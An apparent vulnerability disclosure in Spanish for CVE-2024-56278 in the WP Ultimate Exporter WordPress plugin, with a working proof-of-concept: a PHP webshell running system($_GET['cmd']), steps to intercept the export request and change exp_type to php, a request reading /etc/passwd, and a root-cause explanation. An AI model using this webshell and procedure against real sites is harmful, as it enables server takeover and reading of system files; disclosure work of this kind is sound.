
Prueba de concepto del exploit para CVE-2024-56278, una vulnerabilidad de ejecución remota de código en el plugin de WordPress WP Ultimate Exporter, que demuestra la subida de archivos a una webshell PHP.
Plugin de WordPress
Nombre del componente WP Ultimate Exporter
Versión vulnerable <= 2.9.1
Slug del componente wp-ultimate-exporter
Enlace del componente https://wordpress.org/plugins/wp-ultimate-exporter/
Clase de vulnerabilidad A4: Diseño Inseguro
Tipo de vulnerabilidad Ejecución Remota de Código (RCE)
Administrador
El plugin WP Ultimate Exporter es un complemento para el plugin WP Ultimate CSV Importer. Este plugin permite exportar todas las publicaciones, productos, pedidos, reembolsos y datos de usuarios en formatos CSV, XLS, XML y JSON. Al exportar, se crean archivos en la ruta de carga y el plugin solo entrega el contenido de esos archivos a los usuarios.
En el plugin WP Ultimate Exporter, versiones 2.9.1 y anteriores, al solicitar la exportación de datos, si la extensión del archivo en los datos de la solicitud se establece en PHP, se crea un archivo PHP en la ruta de carga. Por lo tanto, si el contenido del archivo creado contiene sintaxis PHP, se produce una vulnerabilidad de Ejecución Remota de Código (RCE), ya que la sintaxis PHP se ejecuta al acceder a ese archivo.
⚠️ Dado que el plugin 'WP Ultimate Exporter' es un complemento del plugin 'WP Ultimate CSV Importer', ambos plugins deben estar instalados.
Cree una nueva publicación usando el editor de código (tecla de acceso rápido: ⇧ ⌥ ⌘ M) con el siguiente contenido:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Navegue a la pestaña 'Export' del plugin WP Ultimate Exporter. Se puede acceder haciendo clic en la pestaña 'Export' en el panel del plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
Inicie una herramienta de proxy (por ejemplo, BurpSuite) para interceptar los paquetes de solicitud y continúe con los siguientes pasos con Intercept habilitado.
A continuación, seleccione 'Posts' en 'Select the module to Export Data' y continúe al siguiente paso.

Export File Name Ingrese 'webshell'Advanced Settings Seleccione 'CSV'
/wp-admin/admin-ajax.php para exportar los datos. Cambie el valor de exp_type en los datos de la solicitud de csv a php, luego haga clic en Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd en la barra de direcciones del navegador para mostrar el contenido del archivo /etc/passwd en el servidor donde está instalado WordPress. Esto demuestra la vulnerabilidad RCE.
Al exportar datos en el plugin WP Ultimate Exporter, se llama a la función parseData en el archivo /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.
En este punto, no se realiza ningún filtrado en los datos de la solicitud exp_type que determinan el formato de los datos de exportación, y el valor se inserta directamente en la variable miembro $this->exportType.

Posteriormente, se llama a la función proceedExport para guardar los datos en un archivo. En este punto, al inicializar la variable $file que especifica la ruta de almacenamiento del archivo, la variable miembro $this->exportType también se usa sin ningún filtrado.

Posteriormente, la ruta del archivo almacenada en la variable $file se pasa como argumento a la función file_put_contents, y en este punto, el archivo se guarda con la extensión especificada en los datos de la solicitud exp_type aplicándose directamente.

Por lo tanto, cuando los datos de la publicación que contienen código de Web Shell se guardan como un archivo PHP y se accede a ese archivo, se produce una vulnerabilidad de Ejecución Remota de Código (RCE), ya que el código PHP se ejecuta.


Luego ingrese el siguiente comando para ejecutar el código PoC.
Módulo requeridorequests
python poc.py
